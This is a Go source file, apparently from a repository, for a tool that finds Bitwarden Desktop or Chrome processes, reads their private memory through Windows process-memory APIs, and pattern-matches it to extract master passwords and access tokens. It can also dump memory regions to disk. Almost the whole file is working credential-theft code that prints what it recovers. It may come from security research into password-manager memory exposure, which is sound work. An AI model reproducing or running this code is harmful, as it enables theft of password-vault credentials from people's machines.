README.md
Rendering markdown...
package main
import (
"bytes"
"fmt"
"regexp"
"strings"
"syscall"
"unicode"
"github.com/0xrawsec/golang-win32/win32"
"github.com/0xrawsec/golang-win32/win32/kernel32"
"github.com/shirou/gopsutil/v3/process"
)
// Original font pattern
// f.o.n.t.-.f.a.c.e.
var chromiumExtFontPattern = []byte{0x66, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x2d, 0x00, 0x66, 0x00, 0x61, 0x00, 0x63, 0x00, 0x65, 0x00}
var desktopAppFontPattern = []byte{0x2f, 0x66, 0x6f, 0x6e, 0x74, 0x73, 0x2f, 0x4f, 0x70, 0x65, 0x6e, 0x5f, 0x53, 0x61, 0x6e, 0x73, 0x2d, 0x6e, 0x6f, 0x72, 0x6d, 0x61, 0x6c, 0x2d, 0x38, 0x30, 0x30, 0x2e, 0x77, 0x6f, 0x66, 0x66}
var desktopAppCSSPattern = []byte{0x6c, 0x32, 0x2d, 0x70, 0x6f, 0x70, 0x75, 0x70, 0x2e, 0x73, 0x77, 0x61, 0x6c, 0x32, 0x2d, 0x74, 0x6f, 0x61, 0x73, 0x74, 0x7b, 0x66, 0x6c, 0x65, 0x78, 0x2d, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x3a, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x3b, 0x61, 0x6c, 0x69, 0x67, 0x6e}
var testingPattern = []byte{0x7b, 0x22, 0x61, 0x63, 0x63, 0x65, 0x73, 0x73, 0x5f, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0x3a}
func getFilteredProcs(procList []*process.Process) ([]*targetProc, error) {
// Create empty slice of struct pointers.
allFilteredProcesses := []*targetProc{}
for i := range procList {
pid := procList[i].Pid
exeName, _ := procList[i].Name()
cmdLine, _ := procList[i].Cmdline()
// Find process with specific exeName and specific child process (cmdLine)
if exeName == BWDesktopEXEName && strings.Contains(cmdLine, BWDesktopCmdLine) {
// Create struct and append it to the slice.
p := new(targetProc)
p.pidInt = pid
p.exeName = exeName
p.cmdLine = cmdLine
// Append to emtpy slice
allFilteredProcesses = append(allFilteredProcesses, p)
}
}
if len(allFilteredProcesses) == 0 {
return nil, fmt.Errorf("[!] Target process list emtpy!")
}
return allFilteredProcesses, nil
}
func searchProcessMemory(pid int, exe string) ([][]*resultStrings, error) {
memStrings := [][]*resultStrings{}
// Open the process with appropriate access rights
da := uint32(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_OPERATION)
hProcess, err := syscall.OpenProcess(da, false, uint32(pid))
if err != nil {
return nil, err
}
defer kernel32.CloseHandle(win32.HANDLE(hProcess))
fmt.Printf("[+] Searching PID memory (%d)\n", pid)
// Search all accessible memory regions within process
for mbi := range kernel32.AllVirtualQueryEx(win32.HANDLE(hProcess)) {
// Filter by type, state, protection and regionsize
// Docs: https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information
if mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE && mbi.Protect == PAGE_READWRITE && mbi.RegionSize < (1<<25) {
// Bitwarden Desktop RegionSize: 0x14000
// Bitwarden Chrome RegionSize: < (1 << 25)
mem := make([]byte, mbi.RegionSize)
lpAddress := win32.LPCVOID(mbi.BaseAddress)
kernel32.ReadProcessMemory(win32.HANDLE(hProcess), lpAddress, mem)
// Search for patterns in each memory region
memRegionStrings := getBWDesktopByteStrings(pid, mem, mbi)
//memRegionStrings := searchChromiumBytePattern(pid, mem, mbi)
if len(memRegionStrings) > 0 {
// Append everything to slice
memStrings = append(memStrings, memRegionStrings)
}
//searchChromiumBytePattern(pid, mem, mbi)
/*
if exe == BWDesktopEXEName {
memRegionStrings := getBWDesktopByteStrings(pid, mem, mbi)
// Append everything to slice
memStrings = append(memStrings, memRegionStrings)
// Only works on older Chrome web browsers
//} else {
// searchChromiumBytePattern(pid, mem, mbi)
}
*/
}
}
return memStrings, nil
}
func getBWDesktopByteStrings(pid int, mem []byte, mbi win32.MemoryBasicInformation) []*resultStrings {
// Check if known bytes exsits within memory region
//if bytes.Contains(mem, desktopAppFontPattern) || bytes.Contains(mem, desktopAppCSSPattern) || bytes.Contains(mem, testingPattern) {
out := []*resultStrings{}
// Uses a regex pattern to find strings (only ASCII characters)
// Note: when submitting a password with copy and paste, forces the
// app to store the password using Windows UTF-16 (includes 0x00)
r, err := regexp.Compile(BWDesktopRegexBytePattern)
if err != nil {
fmt.Printf("[!] Offset not found")
}
// Finds only the first occurance
//patternOffsetAddr := r.FindIndex(mem)
// Finds multiple occurances
patternOffsetAddrBetter := r.FindAllIndex(mem, -1) // -1 specifies the end of object/bytes
//fmt.Printf("[+] Offset: (0x%x)\n", passOffset)
if len(patternOffsetAddrBetter) != 0 {
fmt.Printf("[+] Found initial pattern\n")
fmt.Printf("[+] Memory region: 0x%x - 0x%x\n", mbi.BaseAddress, mbi.BaseAddress+mbi.RegionSize)
fmt.Printf("[+] Region size: 0x%x\n", mbi.RegionSize)
// Print the number of hits
fmt.Printf("[+] No. of hits: %d \n\n", len(patternOffsetAddrBetter))
for i, val := range patternOffsetAddrBetter {
//fmt.Printf("Index: %d = %x\n", i, v[0])
str := bytes.NewBuffer(mem[val[0]+4 : val[1]]).String() // start after the password prefix
isDefaultStr := false
for _, str2 := range StaticBWStrings {
// Exclude known Bitwarden strings
if strings.Contains(str, str2) {
isDefaultStr = true
break
}
}
// skip certain strings
if len(str) < 12 || !isASCII(str) {
continue
}
if isDefaultStr {
continue
}
if verboseOption {
fmt.Printf("%s\n", str) // show all the strings matched
}
item := new(resultStrings)
item.memRegion = uint64(mbi.BaseAddress)
item.memSize = int32(mbi.RegionSize)
item.index = i
item.startOffset = val[0]
item.endOffset = val[1]
item.str = str
out = append(out, item)
//fmt.Printf("Index: %d with Offset: 0x%x = %s\n", i, v[0], str3)
}
return out
}
return nil
}
// Dead code
func searchChromiumBytePattern(pid int, mem []byte, mbi win32.MemoryBasicInformation) []*resultStrings {
//fmt.Printf("[+] Found pattern at MemBaseAddr (0x%x)\n", mbi.BaseAddress)
out := []*resultStrings{}
// Write memory regions to a file
if dumpMemoryOption {
writeMemoryRegions(pid, mbi.BaseAddress, mem)
}
// Search for password prefix pattern: 04 00 00 00 ?? 00 00 00 01
r, err := regexp.Compile(BWChromeRegexBytePattern)
if err != nil {
fmt.Printf("[!] Offset not found")
}
//patternOffsetAddr2 := r.FindIndex(mem)
patternOffsetAddr := r.FindAllIndex(mem, -1)
if len(patternOffsetAddr) != 0 {
// Extract password length and offset
// Pattern: 04 00 00 00 XX 00 00 00 01
//passLenOffset := patternOffsetAddr[0] + 4
//passOffset := patternOffsetAddr[0] + 12
//passLen := mem[passLenOffset]
//str := bytes.NewBuffer(mem[passOffset : passOffset+int(passLen)]).String()
//fmt.Printf("[+] Found password prefix bytes at offset (0x%04x)\n", patternOffsetAddr[0])
//fmt.Printf("[+] Found password length (0x%02x) or %d characters\n", passLen, passLen)
// Bitwarden web registeration has a minimum 8 characters
// for master password and filter out non-ASCII characters
//if passLen >= 8 && isASCII(str) {
// fmt.Printf("[+] Password: %s\n\n", str)
//} else {
// fmt.Printf("[!] Contains non-ASCII characters, skipping...\n\n")
//}
for i, val := range patternOffsetAddr {
//fmt.Printf("Index: %d = %x\n", i, v[0])
//passLenOffset := bytes.NewBuffer(mem[val[0]+4 : val[0]+5])
//ddddd := mem[val[0]+4 : val[0]+5]
passLen := int(mem[val[0]+4 : val[0]+5][0])
//fmt.Println(passLen)
str := bytes.NewBuffer(mem[val[0]+12 : val[0]+12+passLen]).String()
// skip certain strings
if passLen < 12 || !isASCII(str) {
continue
}
//fmt.Println(str)
isDefaultStr := false
for _, str2 := range StaticBWStrings {
// Exclude known Bitwarden strings
if strings.Contains(str, str2) {
isDefaultStr = true
break
}
}
if isDefaultStr {
continue
}
if verboseOption {
fmt.Printf("[TEST] %s\n", str) // show all the strings matched
}
//fmt.Println(str)
item := new(resultStrings)
item.memRegion = uint64(mbi.BaseAddress)
item.memSize = int32(mbi.RegionSize)
item.index = i
item.startOffset = val[0]
item.endOffset = val[1]
item.str = str
out = append(out, item)
//fmt.Printf("Index: %d with Offset: 0x%x = %s\n", i, v[0], str3)
}
return out
}
return nil
}
// Source: https://stackoverflow.com/questions/53069040/checking-a-string-contains-only-ascii-characters
func isASCII(s string) bool {
for i := 0; i < len(s); i++ {
if s[i] > unicode.MaxASCII {
return false
}
}
return true
}